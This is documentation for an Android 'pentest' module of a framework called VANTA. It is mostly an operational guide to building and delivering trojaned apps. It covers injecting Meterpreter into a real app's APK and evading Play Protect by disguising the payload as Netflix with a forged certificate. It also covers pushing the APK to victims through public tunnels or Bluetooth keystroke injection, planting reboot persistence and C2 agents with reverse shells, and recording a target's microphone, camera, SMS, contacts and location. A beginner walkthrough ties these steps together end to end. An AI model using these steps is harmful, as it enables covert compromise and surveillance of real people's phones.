android_pentest
Comprehensive Android security testing framework. Device reconnaissance, static APK analysis, vulnerability scanning, exploit chaining, Frida instrumentation, and automated backdoor injection via msfvenom.
- ▸ Android device with USB debugging enabled
- ▸
android-tools(ADB) installed on your machine - ▸
metasploitinstalled for payload operations - ▸
boreinstalled for WAN delivery operations
adb devices # confirm device connected use android_pentest set device <serial> set operation recon # read-only, no changes run
- ● Easy: recon, list_apps, screen_mirror
- ● Medium: backdoor_apk, deploy_shell, frida_hook
- ● Advanced: exploit_cve, bt_zero_deliver, cve_chain
___
,--' '--.
/ .'.'.' \
| (o) (o) |
| '---' |
\___________/
____| |____
| |___________| |
| ,-' '-, |
| / .-------. \ |
|| / ~~~~~ \ ||
|| | /\ | ||
|| | / \ | ||
|| | / ⚙ \ | ||
|| | \ / | ||
|| \ ~~~~~ / ||
|| '-------' ||
||___________________||
|_____________________|
|| ||
/ \ / \
'----' '----'
Overview
android_pentest is a modular Android security testing suite built for the VANTA framework (v0.0.1 "k4ng").
It wraps ADB, apktool, jadx, msfvenom, Frida, and Objection into a single coherent workflow.
Each operation targets a specific phase of a pentest engagement.
The module reads a JSON context from stdin (provided by the VANTA shell) and outputs structured
JSON findings via a \x00RESULT\x00 sentinel line — separating live terminal output from
structured results. All work files are stored in ~/.vanta/android/<serial>/<timestamp>/.
The companion GUI (android_gui.py) exposes every operation in a full-featured web dashboard
with real-time SSE terminal output, multi-session tracking, a unified Payload & Delivery panel
(build → evade → deliver pipeline in one tab), a dedicated MSF Console tab, session drawer,
dual-pane file manager, full PTY shell, live screen/camera/audio streaming, and structured findings viewer.
VANTA runs on Go-backed concurrent sessions — multiple operations, tunnels, and MSF handlers run simultaneously.
Quickstart
set backdoor_apk package com.example.app is wrong.
In VANTA, set <key> <value> - the first token after set is always the parameter name.
Correct form: set operation backdoor_apk then set package com.example.app.
# 1. Load the module
use android_pentest
# 2. Check available parameters
show options
# 3. Set your operation
set operation recon
# 4. Run (target is ignored for Android - use "connected" or a serial)
run connected
Operations
Set via set operation <name>. Default is recon.
apk_path (no device needed) or pulls from a connected device using package. Injection method: msfvenom -x template first; if that fails (e.g. protected APK, large file), automatically falls back to an apktool-merge pipeline (decode → merge smali → inject manifest components → rebuild with 4 GB heap → sign). Signed with vanta_debug.keystore (apksigner/jarsigner). Button label: INJECT. WAN expose runs automatically after injection unless wan_expose=false.wan_expose=true). Can also be invoked standalone. Starts a bore tunnel + detached APK HTTP server; falls back to Cloudflare Tunnel if cloudflared is installed. Delivery info (APK URL, tunnel URL, QR) is available in the GUI Delivery tab.WIFI:T:ADB;S:…), deeplink, custom string, or wan (bore + HTTP server). GUI: QR/delivery info is displayed in the Delivery tab after any injection op — no need to run qr_exploit separately.com.metasploit.stage) and install via adb install -r -t. Button label: INJECT. WAN expose auto-runs after install (same bore + HTTP server flow as backdoor_apk).cve=CVE-XXXX-XXXX. Supported: CVE-2024-0044 (Framework LPE), CVE-2024-31317 (Zygote deserialization), CVE-2023-45866 (BT HID injection), CVE-2023-40088 (BT UAF zero-click), CVE-2023-24033 (Exynos baseband RCE), CVE-2023-26072 (Exynos SIP overflow), CVE-2024-43093 (DocumentsUI path traversal), CVE-2025-27363 (FreeType browser RCE), CVE-2023-0266 (ALSA kernel LPE), CVE-2024-53104 (UVC kernel LPE), CVE-2023-21492 (Samsung KASLR leak), CVE-2024-20017 (Samsung WiFi OOB). Optional: show_patched=true to run checks even if device is patched.android port preset (5555, 5037, 5554, 8080, 8888, 8889). Detects open ADB TCP (port 5555 — tries adb connect and a raw CNXN handshake; grabs device model if authorized), exposed web services, and other attack surface. Reports ADB-TCP-OPEN CRITICAL vulnerability for any open ADB port.build_bootbuddy.py. Injects BootReceiver → AgentService → DexClassLoader chain into any base APK. DexClassLoader fetches s.dex from bore HTTP tunnel at runtime — no static payload in the APK. Generates QR code for WAN delivery. Meterpreter opens on every reboot via bore.pub tunnels.service.sh; (2) start second agent as shell UID 2000 via Magisk su for root-free attribution; (3) build and install LSPosed hook APK or fall back to Magisk zygote-hook module.hook operation. Reverts Magisk module service.sh injections and uninstalls any hook APKs pushed to the device.sniff— enumerate all running processes (PID, PPID, user, state, name); GUI shows live table with 2-second SSE refresh and click-to-targetinject— attach to the target process and inject a Java-based reverse shell thread via Frida (inject_mode=frida) or ptrace shellcode loader (inject_mode=ptrace, requires root)persist_only— skip injection, only install persistence vectors into the target package
agent/frida-server or ~/.vanta/frida-server and starts it. Injects proc_inject.js — a Java Thread that opens a socket to LHOST:LPORT and forks /system/bin/sh, redirecting I/O over the socket.Persistence vectors (applied when
persist=true):
- Magisk
service.sh— appends agent re-launch command to/data/adb/modules/vanta_hook/service.sh(root required) - BootReceiver smali patch — generates
BootReceiver.smalitargeting the pulled APK for reinstall (no root) am broadcast BOOT_COMPLETED— triggers immediate re-execution as root
target_process (PID integer or package name), inject_mode (frida|ptrace), lhost, lport, persist (true/false).
chain=<name>. 8 built-in chains: bt_to_root (BT HID → Zygote privesc), sandbox_exfil (run-as bypass → root → data dump), zero_click_full (BT zero-click → privesc → exfil), exynos_baseband_rce (Exynos SDP/SIP → Zygote), wifi_zero_click (WiFi OOB → KASLR leak → kernel LPE), freetype_browser (FreeType WebView RCE → DocumentsUI → Zygote), kernel_lpe_chain (Samsung pointer leak → ALSA/UVC kernel LPE), bt_zero_click_exfil (BT UAF → Framework LPE → DocumentsUI data exfil). Optional: lhost, lport for callback steps.vector=all|bt|nfc|wifi|media. Reports exploitability based on patch level and SDK.Chain:
- Generate standalone backdoored APK via msfvenom (or use
apk_path) - Serve APK on local HTTP server (
serve_port) + expose via bore WAN tunnel → delivery URL - Write MSF multi/handler RC file (
bt_deliver_handler.rc) - Connect to target Bluetooth adapter on L2CAP PSM 0x11 (HID ctrl) + PSM 0x13 (HID intr) — no pairing handshake (CVE-2023-45866)
- Inject keystrokes: HOME key → 600ms wait → type WAN URL → ENTER → Android browser opens download link
If
bt_addr is omitted or the host has no BT adapter, the operation falls back to url_only mode: APK is still served over bore and the delivery URL is emitted for manual sharing (Phase 4a). Set open_method=adb to deliver the URL via ADB intent instead of BT HID (faster, requires ADB connection).Parameters:
bt_addr— target BT MAC (XX:XX:XX:XX:XX:XX). Omit for URL-only mode.apk_path— path to APK. Absent → freshmsfvenomAPK generated.payload,lhost,lport— standard MSF payload config.serve_port— local HTTP port (default: 8890).bore_server— relay host.open_method—browser(default, HID HOME+type+ENTER) |adb(am start VIEW intent).key_delay— seconds between keystrokes (default: 0.08).
Requires: bluez + hcitool on host; target Bluetooth enabled; patch level < 2023-12-01.
c2_gui, accessed at the printed URL. Useful for headless or remote sessions.revshell module and starts a listener. Set lhost and lport. If the target device is connected, attempts automatic payload delivery via ADB.Detection vectors eliminated:
com/metasploit/stage/package path → renamed to a GMS-lookalike (e.g.com/google/android/gms/internal/analytics)android:scheme="metasploit"in manifest → scrubbed entirely- Class names
Payload,MainService,MainBroadcastReceiver,MainActivity→ renamed toDataConnector,AnalyticsService,UpdateReceiver,LaunchActivity - Signing certificate CN → replaced with convincing app publisher name (e.g.
Netflix Inc., OU=Mobile Apps) - Junk decoy class added (
com/netflix/analytics/SessionTracker) to alter APK entropy fingerprint
Parameters:
apk_path— path to backdoored APK (default: latest~/.vanta/android/auto/*)app_name— signing cert CN, e.g.Netflix Inc.(default:Netflix Inc.)fake_pkg— override replacement package (default: randomly selected from GMS presets)
Output:
<stem>_evade_signed.apk in the same auto dir. APK server delivery link hot-swapped automatically.
Rebuild uses
java -Xmx4g -jar apktool.jar directly (bypasses wrapper 256M cap). Signs with v2+v3 scheme via apksigner.
What gets patched:
- Icon — scaled with Pillow (PIL) to all 6 mipmap density buckets: ldpi 36px, mdpi 48px, hdpi 72px, xhdpi 96px, xxhdpi 144px, xxxhdpi 192px. Round icon and adaptive foreground icon patched too. Accepts local PNG/JPG or HTTPS URL (auto-fetched via
curl). Falls back to ImageMagickconvertif PIL not installed. - App label —
app_namestring inres/values/strings.xmlacross all language variants - Package / applicationId —
package=attribute inAndroidManifest.xml+ all cross-references in smali + component class names
Parameters:
apk_path— source APK (default: latest evade APK or merged signed)app_label— launcher name shown to user (e.g.WhatsApp,Netflix)package_name— new applicationId (e.g.com.netflix.mediastream) — use a unique ID to avoid conflicts with the real appicon_path— local path or HTTPS URL to PNG/JPG icon imageoutput_name— custom output filename (e.g.Netflix_v8.114.apk)
Output APK is hot-swapped into the APK server delivery link (
Netflix_patched.apk symlink updated). Signed with the evade keystore (CN matching app) if available, else debug keystore.
com.netflix.mediastream not com.netflix.mediaclient) so both can coexist on the device without a conflict error.source parameter:
- ADB (source=adb) — streams a continuous MJPEG feed via
adb exec-out screenrecord --output-format=h264 | ffmpeg … -f image2pipe -vcodec mjpeg pipe:1. Real-time, ~30fps. Requiresffmpeg. Fallback: screencap loop MJPEG if ffmpeg unavailable. - MSF (source=msf) — polling mode: every 3 seconds, writes an MSF RC file (
sessions -i N; screenshot -p /tmp/vanta_screen.png; exit), runsmsfconsole -q -r, serves the resulting PNG. Slower but works over any Meterpreter session with no direct ADB access.
The GUI Live Media tab auto-detects screen dimensions via
adb shell wm size and sets the mirror container height to match the device aspect ratio (capped at 72% of window height). A source badge indicates which path is active. The ⟳ Size button re-queries dimensions. MSF session number input appears automatically when MSF source is selected.
Parameters:
source (adb|msf), serial (ADB device serial), msf_session (MSF session ID for msf path).
- ADB — opens camera app via
am start -a android.media.action.STILL_IMAGE_CAMERA, screencaps the preview, returns the frame. - MSF — runs
webcam_snap -i <cam_id>in an MSF RC file, serves the resulting JPEG.
source (adb|msf), cam_id (camera index, default 0 = rear), serial, msf_session.
webcam_stream or a screencap proxy depending on Meterpreter capabilities.
Parameters:
source (adb|msf), cam_id, serial, msf_session, msf_port (port for MSF webcam stream proxy).
- ADB — uses
tinycap(pushed to device if not present) oraudiorecord, streams PCM chunks over ADB, accumulates in_mic_chunksserver-side, available for download as WAV. - MSF — generates an RC file running
sessions -i N; record_mic -d <duration> -f /tmp/vanta_mic.wav; exit, runsmsfconsole -q -r, appends the captured WAV chunk to_mic_chunks.
Parameters:
source (adb|msf), duration (seconds, default 10), serial, msf_session.
adb push audio file to /sdcard/vanta_spk.<ext> → am start an Intent targeting the device media player, or use MSF play_audio if a Meterpreter session is active. The ■ Stop button sends KEYCODE_MEDIA_STOP via ADB input and force-stops known media player packages.
Parameters:
audio_path (local file path), serial, msf_session.
GUI Mode
Set mode gui to launch the full Android Pentest web GUI (android_gui.py) —
a single-page dashboard that covers every operation in the module, live media streaming,
full PTY terminal, dual-pane file manager, structured findings viewer, and an interactive
Meterpreter console. Served on http://localhost:8897 and opens automatically in your browser.
The HTTP server is multi-threaded (ThreadingHTTPServer) so screen streaming, SSE streams,
PTY I/O, and API calls all run concurrently without blocking each other.
# Launch full GUI
use android_pentest
set mode gui
run
# Custom port
set mode gui
set gui_port 9000
run
Sessions Bar & Session Manager
The GUI supports concurrent multi-session operation tracking. Every time you click a run button a new session is created. The sessions bar (below the topbar) shows all active and recently completed sessions as colour-coded chips — each with its operation name, elapsed time, and status dot. You can kill any individual session's session or switch context between them without affecting other running operations.
Click the Sessions label, the count badge, or the ≡ manage button to open the
Session Drawer — a slide-out panel on the right showing two sections:
VANTA Operations (all GUI-launched operations with log/kill actions) and
MSF Meterpreter (live Meterpreter sessions fetched from msfconsole via /api/msf/sessions).
The drawer also provides quick access to the MSF Console tab and a kill-all button.
Sessions refresh every 3 seconds automatically while the GUI is open.
GUI Tabs
| Tab | What it does |
|---|---|
| Operations sidebar | All 30+ operations grouped by category — Recon, Access, Payload, Instrumentation, Persistence, C2, Chains. Every operation includes an inline Target Device selector; choose a specific device or ★ All connected devices to run across every ADB-connected device simultaneously. Injection operations (backdoor_apk, deploy_shell, objection_patch) show an INJECT button; rebuild shows BUILD; all others show RUN. |
| Terminal | SSE-streamed real-time stdout/stderr from every running operation. Full ANSI colour rendering. Toolbar: ⌧ clear, ⌕ find (with next/prev, Ctrl+F shortcut), ↵ wrap toggle, ⬇ scroll toggle, live line counter. Raw JSON result blobs are intercepted by the sentinel and never shown here. |
| ADB Shell | Interactive ADB command input. Prefix shell for on-device shell commands or use bare ADB commands (e.g. devices, pull /sdcard/file .). Output rendered inline with ANSI colour. Tab key sends a completion request (shell autocomplete when a device is connected). |
| Terminal (PTY) | Full pseudo-terminal shell running on the host machine — not the device. Spawned via Python's pty.fork(). Supports sudo password prompts, interactive programs (vim, ssh, bash), tab completion, command history (↑/↓), and Ctrl+C/D/L. Auto-resizes to match the panel dimensions. Dot indicator shows live/inactive state. Click ▶ start shell or switch to this tab to auto-start. |
| Findings | Structured results parsed from the \x00RESULT\x00 sentinel JSON. Sub-tabs: Summary (counts + key facts), Vulns (filterable vulnerability cards with CRITICAL/HIGH/MEDIUM/LOW badges + CVE references), Device (model, Android version, SDK, arch, root status), Apps (permissions, exported components, secrets, flags), Delivery (APK URL, MSF tunnel, WAN LHOST/LPORT, handler command, ADB install command, QR), Raw JSON (full result dump). Export and clear buttons. |
| P&D (Payload & Delivery) |
Unified C2 workflow panel — the primary interface for full payload-to-delivery operation. Inner tabs: Build — Source APK selector (local file path with auto-fill from ~/.vanta/android/, pull from device by package name, or standalone PoisonIvy-style msfvenom APK). Payload config (reverse_tcp/http/https/bind, LHOST, LPORT). Evasion toggles: Bypass Play Protect (class rename + package rename + junk class), Custom Identity (icon, app label, package name), Convincing Cert CN. One-click BUILD & INJECT chains all enabled operations sequentially.Deliver — Four delivery method cards:
QR & Output — Auto-populated delivery URLs (APK download URL, MSF tunnel) with one-click copy/open. ASCII QR codes captured from terminal output. Last operation structured output. |
| MSF (Console) |
Full-featured interactive Metasploit console embedded in the GUI. Backed by the same msfconsole process as the Live Media tab MSF panel — both receive all output simultaneously via SSE. Toolbar quick-commands: sessions -l, sessions -i 1, sysinfo, screenshot, shell. Command history (↑/↓ arrow keys). Session counter auto-updates on Meterpreter session opened events. MSF badge (●) lights up on the tab when msfconsole is running or a new session opens. Click ⚡ handler to start a handler directly from this tab — uses LHOST/LPORT from the P&D Build tab.
|
| Files | Full dual-pane file manager. Left pane: host filesystem browser with breadcrumb navigation, file type icons, APK badge, text preview. Right pane: device filesystem via adb shell ls -la. Preview sidebar: file content, metadata, and contextual actions. Host actions: navigate directories, upload files (drag-or-click), download, copy path, rename, delete, create folders, use in ops (sets apk_path field), decompile APK (runs apktool → shows decoded dir), recompile (apktool build + auto-sign). Device actions: pull files/directories, pull APK by package name, push host file to current device path. Context menus (right-click) on both panes. |
| Setup / Deps | Real-time dependency check for all required tools. Global settings (LHOST, LPORT, bore server, NVD key, C2 host/port) with auto-detect LHOST. Settings are persisted in memory and applied to all subsequent operations. |
| C2 Dashboard | Embeds c2_gui.py as an iframe. Auto-starts C2 in background on a configurable port. Manages agent sessions, bore WAN tunnels, MSF Meterpreter sessions, and encrypted .scv session logs. |
| Live Media | Real-time screen mirror (MJPEG), camera feed (snap + MSF webcam_stream proxy), microphone recording (tinycap WAV chunks), speaker push, and interactive MSF console. See Live Media. |
| CVE |
Dedicated CVE vulnerability assessment and exploitation panel. Three sub-sections: Check — run vuln_scan against the connected device. Displays a card per detected CVE with severity badge (CRITICAL/HIGH/INFO), patch status (vulnerable / patched), attack vector, PoC availability, and NVD link. Toggle Show patched CVEs to include CVEs that the device patch level covers — displayed at INFO severity with a "patched" label rather than hidden.Exploit CVE — select a specific CVE from the 12-entry dropdown, view inline description, and run exploit_cve. Result card shows exploit status, steps executed, and outcome (e.g. root shell gained, pointer leaked, service crashed).Chain — select one of 8 named chains from the dropdown, view inline chain description (step count, CVEs involved), set LHOST/LPORT for callback steps, and run cve_chain. Result renders as a numbered step table with per-step CVE, role, and status. See CVE Check & Chains.
|
Auto Device Detection
The GUI polls /api/devices every 2 seconds. When a device connects it is immediately added to the
dropdown, the topbar badge turns green with a pulsing dot, and a toast notification appears.
Disconnects are detected in the same cycle — the badge clears and a fallback device is auto-selected if one remains.
The ⚡ reload adb button kills and restarts the ADB server then waits up to 4 seconds for devices to
re-enumerate (useful when ADB is stuck). unauthorized devices are surfaced with a warning label rather
than hidden — accept the Allow USB debugging dialog on the device and the next poll picks it up as authorized.
Standalone Usage
The GUI can also be started directly without the VANTA shell:
python3 tools/mobile/android/android_gui.py --port 8897
python3 tools/mobile/android/android_gui.py --serial emulator-5554 --no-browser
PTY Shell — Host Terminal
The Terminal tab (not to be confused with the operation Terminal tab) runs a full pseudo-terminal on the host machine. It is entirely separate from ADB — use it to run msfconsole, ssh, vim, or any interactive host-side tool without leaving the browser.
# The PTY shell opens a shell on the host. Example use cases:
sudo msfconsole # sudo prompts appear inline — type password directly
ssh [email protected] # interactive SSH session in the browser
vim ~/.vanta/android/rc.txt # full screen editor in the PTY output div
bore local 4444 --to bore.pub # start bore tunnel interactively
Live Media
The Live Media tab provides real-time device media access directly in the browser. All streams run in dedicated server threads so they do not block other API calls or operation runs.
Screen Mirror
Streams the device screen as a continuous MJPEG feed. Two paths are used depending on available tools:
| Path | Requirement | Performance |
|---|---|---|
| H.264 pipeline | ffmpeg installed | ~15 fps · 720p scaled · JPEG frames via screenrecord --output-format=h264 → ffmpeg pipe |
| Screencap loop | ADB only | ~5 fps · full resolution PNG frames via screencap -p loop |
The ⬡ Snap button captures a single PNG and downloads it. The FPS counter updates every second.
Endpoint: GET /api/media/screen?serial=<serial> — multipart/x-mixed-replace.
Camera
Snap triggers an ADB camera intent and pulls a single frame.
▶ Stream proxies a Meterpreter webcam_stream MJPEG server.
Run the following in the Meterpreter console first, then click Stream in the GUI:
# In the Meterpreter Console tab:
sessions -i 1
webcam_stream -l 0.0.0.0 -p 8880
# GUI auto-detects the port from the console output
Available cameras (back, front, depth) are enumerated via GET /api/media/camera/list.
Microphone
Records rolling N-second WAV chunks from the device using tinycap (pulled via ADB).
Each chunk is served at GET /api/media/mic/chunk and auto-loaded into the browser's
<audio> element. Chunk duration is configurable (3 s / 5 s / 10 s).
Up to 30 chunks are retained in memory server-side.
Speaker
Select any audio file (MP3, WAV, OGG) in the browser. The file is base64-encoded, POSTed to
/api/media/speaker, pushed to /sdcard/vanta_spk.<ext> via ADB,
and played via an Android ACTION_VIEW intent. No root required.
Meterpreter Console
An interactive msfconsole -q subprocess. Output is streamed via SSE to the in-browser
terminal with full ANSI colour rendering. Commands are sent via POST to /api/msf/send.
Clicking ▶ Start MSF auto-configures a multi/handler for
android/meterpreter/reverse_tcp using the saved LHOST/LPORT settings.
| Quick command | What it does |
|---|---|
sessions -l | List all active Meterpreter sessions |
sessions -i 1 | Interact with session 1 |
screenshot | Capture device screen via Meterpreter |
webcam_snap | Single camera frame |
webcam_stream -l 0.0.0.0 -p 8880 | Start camera MJPEG stream on port 8880 |
record_mic -d 10 | Record 10 seconds of microphone audio |
play_audio /path/to/audio.mp3 | Play audio on device speaker |
dump_contacts | Dump device contacts |
dump_sms | Dump SMS messages |
geolocate | Get GPS coordinates |
send_sms -d <num> -t <msg> | Send SMS from device |
On-Device Native Agent
The agent subsystem (tools/mobile/android/agent/) provides lightweight on-device recon and C2 capabilities without requiring a pre-installed app.
Agent Files
| File | Description |
|---|---|
vanta_agent.sh | POSIX shell script - works on any Android, no compilation needed |
vanta_agent.c | Native ARM64 C binary - faster startup, bionic-linked, NDK cross-compile |
build.sh | Auto-detect NDK and cross-compile C agent for arm64-v8a |
c2_server.py | Standalone TCP+HTTP C2 server with interactive REPL session management |
device_monitor.sh | Continuous ADB device watcher - detects reboots, verifies persistence, triggers inject_agent automatically |
Agent Instruction Opcodes
| Opcode | Format | Action |
|---|---|---|
SH: | SH:<cmd> | Execute arbitrary shell command on device |
SHELL: | SHELL:host:port | Reverse shell to attacker (mkfifo + nc, nc -e fallback if available) |
ROOT_SHELL: | ROOT_SHELL:host:port | Root reverse shell via Magisk/KernelSU su + mkfifo |
APK: | APK:url | Download and silently install APK from URL |
Standalone C2 Server
# Start C2 (TCP port 8889, HTTP port 8890)
python3 tools/mobile/android/agent/c2_server.py \
--auto-exploit --lhost 192.168.1.100 --lport 4444
# Interactive REPL commands
sessions # list active agent sessions
sh <addr> whoami # queue: SH:whoami for next callback
rootshell <addr> 192.168.1.100 4444 # queue: ROOT_SHELL callback
apk <addr> http://attacker/pay.apk # queue: APK delivery
poll <ip> id # HTTP-poll cmd for devices without nc
Device Monitor
device_monitor.sh runs alongside the C2 server and continuously watches adb devices for state transitions. When a device comes online after a reboot it automatically verifies the Magisk module is intact, checks the C2 callback log, and re-runs inject_agent.
# Start monitor (auto-detects attacker IP)
bash tools/mobile/android/device_monitor.sh
# Custom C2 and polling interval
bash tools/mobile/android/device_monitor.sh \
--c2-port 8889 --c2-host 192.168.1.100 --interval 5
| Check | What it verifies |
|---|---|
| C2 callback | Grep C2 callback log for device WiFi IP - confirms agent phoned home post-reboot |
| Magisk module | Verify /data/adb/modules/svc_persist/service.sh is present + nc loop running |
| Agent recon | Re-run inject_agent to get fresh CVE/root summary after each reconnect |
Payload & Delivery Panel
The P&D tab is the primary C2 workflow surface — a full-height, self-contained panel that replaces the operation params panel when active, giving the entire right-side area to the build-to-deliver pipeline. It has four inner tabs navigated by the top nav bar:
Build tab
Configure and chain all payload construction steps in one screen:
- Source APK — three modes: Local File (auto-fill from
~/.vanta/android/or browse), Pull from Device (adb shell pm path+ pull), Standalone / PoisonIvy (pure msfvenom APK, no template) - Payload config — reverse_tcp / reverse_http / reverse_https / bind_tcp, LHOST (auto-detected), LPORT
- Evasion & Branding — toggles for Bypass Play Protect (class/package rename + junk), Custom Identity (icon URL/path, app label, package name), Convincing Cert CN
- BUILD & INJECT — chains
backdoor_apk → bypass_play_protect → customize_apksequentially, waiting for each session to complete before starting the next. Progress tracked via the Sessions bar. - ⚡ Start MSF Handler — fires the multi/handler with current LHOST/LPORT in a detached session
Deliver tab
Four delivery method cards — click to select, configure, and fire:
| Method | How it works |
|---|---|
| 🔌 ADB USB | adb install -r -g payload.apk — direct cable install. Optional grant-all-permissions and auto-launch post-install. |
| 📡 ADB Network | Enter target IP, connects via adb connect IP:5555, then installs wirelessly. No cable required once ADB over WiFi is enabled. |
| 🏠 LAN HTTP | Spawns a local HTTP file server (configurable port, default 8891). Serves the APK at http://<LHOST>:PORT/. Generates a LAN QR code. Best for same-network delivery. |
| 🌐 WAN HTTPS | Tunnel selector: localhost.run (SSH HTTPS, port 22, recommended), bore.pub (TCP, random high port), cloudflared (Cloudflare quick-tunnel). Expose/stop buttons, live tunnel URL display, one-click QR generation, "update APK site" to hot-swap the served file after a new build. |
Sessions tab
Two live lists — VANTA Operations (color-coded rows, op name, device, elapsed time, status dot,
log/kill actions) and MSF Meterpreter (Meterpreter sessions fetched from msfconsole via
/api/msf/sessions, with interact and kill buttons). Refresh MSF and start-handler shortcuts.
Auto-refreshed every 3 seconds. Mirrors the slide-out Session Drawer accessible from the sessions bar.
QR & Output tab
Auto-populated after any delivery or build: APK download URL, MSF tunnel address, and ASCII QR codes captured from terminal output. One-click copy and open. Last structured operation result displayed inline.
Background aesthetic
The GUI background displays fading source code tattoos — 28 static fragments from the actual session
management and payload delivery code (_sessions[sid], msfvenom -x template.apk -p …,
adb install -r -t payload.apk, ssh -R 80:localhost:8891 localhost.run, etc.) that
fade in, pulse gently at ≤8% opacity, then fade out independently. No motion, no trails — just a lowkey
living watermark of the tool's own internals.
WAN Delivery — Getting Your APK to Any Device Globally
WAN delivery lets a target device on any network — cellular, roaming, behind NAT — download the backdoored APK without any port forwarding on your end. VANTA supports three tunnel methods in priority order:
Method 1: localhost.run (Recommended)
localhost.run creates an HTTPS reverse tunnel over SSH to a shared relay. Because it uses port 22 (SSH) outbound, it is never blocked by mobile carriers or corporate firewalls. The relay provides a full HTTPS subdomain — Android Chrome won't block HTTPS APK downloads, unlike HTTP.
# Start APK server (serve from the auto output directory)
cd ~/.vanta/android/auto/<session>/
python3 -m http.server 8891 &
# Tunnel it globally — gives you an https://xxxxx.lhr.life URL
ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=30 \
-R 80:localhost:8891 localhost.run
# QR encodes the HTTPS APK URL — scan with target device
# https://xxxxxx.lhr.life/Netflix_patched.apk
wan_expose operation handles the full lifecycle automatically.
Method 2: bore.pub
bore creates a TCP tunnel on a random high port (30000–65535). Works well on LAN and most office networks but is often blocked by mobile carriers (port ranges outside 80/443/22 are filtered). Use as fallback.
bore local 8891 --to bore.pub # → http://bore.pub:XXXXX/Netflix_patched.apk
Method 3: cloudflared (Cloudflare Tunnel)
If cloudflared is installed, VANTA falls back to a free Cloudflare quick-tunnel which provides
a persistent HTTPS *.trycloudflare.com URL on port 443. Most reliable for long-running sessions.
cloudflared tunnel --url http://localhost:8891
WAN Delivery Comparison
| Method | Protocol | Port used | Carrier-safe | HTTPS | Persistence |
|---|---|---|---|---|---|
| localhost.run | SSH reverse tunnel | 22 | ✅ Yes | ✅ Yes | ~30 min anon / permanent with account |
| bore.pub | TCP tunnel | Random 30k–65k | ❌ Often blocked | ❌ HTTP only | Session-based |
| cloudflared | HTTPS via Cloudflare | 443 | ✅ Yes | ✅ Yes | Hours (quick tunnel) |
Google Play Protect Evasion
Google Play Protect (GPP) runs on every Android device with Google Play Services and scans installed APKs both at install time and periodically in the background. Standard Metasploit APKs are flagged immediately because GPP has static signatures for the msfvenom package structure.
What GPP Detects
| Signature | Location | Why it's flagged |
|---|---|---|
com/metasploit/stage/ | Smali package path | Exact string match against known malware DB |
android:scheme="metasploit" | AndroidManifest.xml | Intent filter with literal "metasploit" scheme |
Payload, MainService, MainBroadcastReceiver | Class names | Known msfvenom class names |
| Self-signed debug cert | APK signature | Low-reputation certificate |
bypass_play_protect Pipeline
# Step 1 — Backdoor the APK (creates Netflix_merged_signed.apk)
set operation backdoor_apk
set apk_path /path/to/Netflix.apk
set lhost 192.168.1.100
set lport 4444
run no_device
# Step 2 — Evade Play Protect (no device needed)
set operation bypass_play_protect
set app_name Netflix Inc.
# fake_pkg defaults to a random GMS-lookalike package
run no_device
# → Netflix_merged_signed_evade_signed.apk
# Step 3 — Customize icon + label + package (no device needed)
set operation customize_apk
set app_label Netflix
set package_name com.netflix.mediastream
set icon_path /tmp/netflix_icon.png
set output_name Netflix_v8.114.apk
run no_device
# → hot-swaps Netflix_patched.apk on APK server automatically
# Step 4 — Start MSF handler
set operation msf_handler
set lhost 192.168.1.100
set lport 4444
run no_device
# Step 5 — WAN expose (localhost.run HTTPS tunnel)
set operation wan_expose
run no_device
# → prints https://xxxxxx.lhr.life/Netflix_v8.114.apk + QR
Beginner Guide — Android WAN Payload Delivery End to End
This guide walks through a complete payload delivery scenario from scratch, assuming no prior Android pentesting experience. You need: Kali/Arch Linux, Android device with "Install unknown apps" enabled, and a target APK to backdoor.
Prerequisites
# Install required tools
sudo pacman -S android-tools metasploit apktool # Arch
sudo apt install android-tools-adb metasploit-framework apktool # Kali
# Verify msfvenom
msfvenom --list payloads | grep android
# Install apksigner
pip install apksigner # or via Android SDK build-tools
# Install Pillow for icon patching
pip install Pillow
Step 1 — Understand the Payload Flow
A backdoored APK contains two things: the original app's code (unchanged) and an injected Metasploit Meterpreter payload that runs a reverse TCP connection back to your machine when the app launches. The connection goes: Target Device → Internet → Your WAN IP:Port → Meterpreter session.
If you are behind NAT (home router, coffee shop), you cannot receive incoming connections directly. This is why we use a reverse tunnel — your machine connects out to a relay server, and the target device's connection reaches you through the relay.
Step 2 — Enable WAN Accessibility
# Option A: localhost.run (simplest — works on all networks)
# Terminal 1: start APK server
mkdir -p /tmp/apk-serve && cp payload.apk /tmp/apk-serve/
cd /tmp/apk-serve && python3 -m http.server 8891
# Terminal 2: expose via SSH tunnel
ssh -R 80:localhost:8891 localhost.run
# Copy the https://xxxxx.lhr.life URL shown
# Option B: bore (if port 22 is blocked)
bore local 8891 --to bore.pub
# Copy http://bore.pub:XXXXX
Step 3 — Generate the Backdoored APK
# Inject msfvenom payload into Netflix APK
set operation backdoor_apk
set apk_path /tmp/Netflix.apk
set lhost 192.168.1.100 # your LAN IP for local test, or 0.0.0.0 for WAN via handler
set lport 4444
set payload tcp
run no_device
Output APK is saved to ~/.vanta/android/auto/<timestamp>/. Note: if msfvenom's -x template injection fails (common with large or obfuscated APKs), VANTA automatically falls back to the apktool-merge pipeline which handles any APK.
Step 4 — Deliver via QR Code or Link
Share the HTTPS URL from Step 2. When the target opens it on their Android device, Chrome will download
the APK. They tap Open → Install → Install anyway (unknown sources prompt).
If Play Protect warns them, run bypass_play_protect first (Step 2a in the full pipeline above).
To generate a scannable QR code automatically, use the Delivery tab in the VANTA GUI after any injection operation — the QR is auto-generated with the WAN URL embedded.
Step 5 — Catch the Meterpreter Session
# Start MSF handler BEFORE the target installs the APK
msfconsole -q -r ~/.vanta/android/auto/<session>/handler.rc
# Or manually:
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 0.0.0.0 # listen on all interfaces
set LPORT 4444
set ExitOnSession false
exploit -j # run in background, catches multiple sessions
# When target installs + opens APK:
# [*] Meterpreter session 1 opened (0.0.0.0:4444 → x.x.x.x:port)
sessions -i 1
meterpreter > sysinfo
meterpreter > dump_contacts
meterpreter > webcam_snap
Contributor Guide — Adding New Operations
VANTA's android_pentest module uses a JSON stdin/stdout protocol with a \x00RESULT\x00 sentinel.
Adding a new operation requires three changes:
1. Implement the operation method
# In android_pentest.py, add before execute():
def _my_operation_operation(self):
# Access params
target = self.params.get("target", "")
lhost = self._lhost()
# Log to terminal (streamed to GUI via SSE)
self.log(f"[*] Running my_operation on {target}")
# Run ADB commands (returns rc, stdout, stderr)
rc, out, err = self._adb_shell("id")
# Add findings (shown in Findings tab)
self.findings.append({
"type": "my_finding",
"data": out.strip(),
})
# Add errors
if rc != 0:
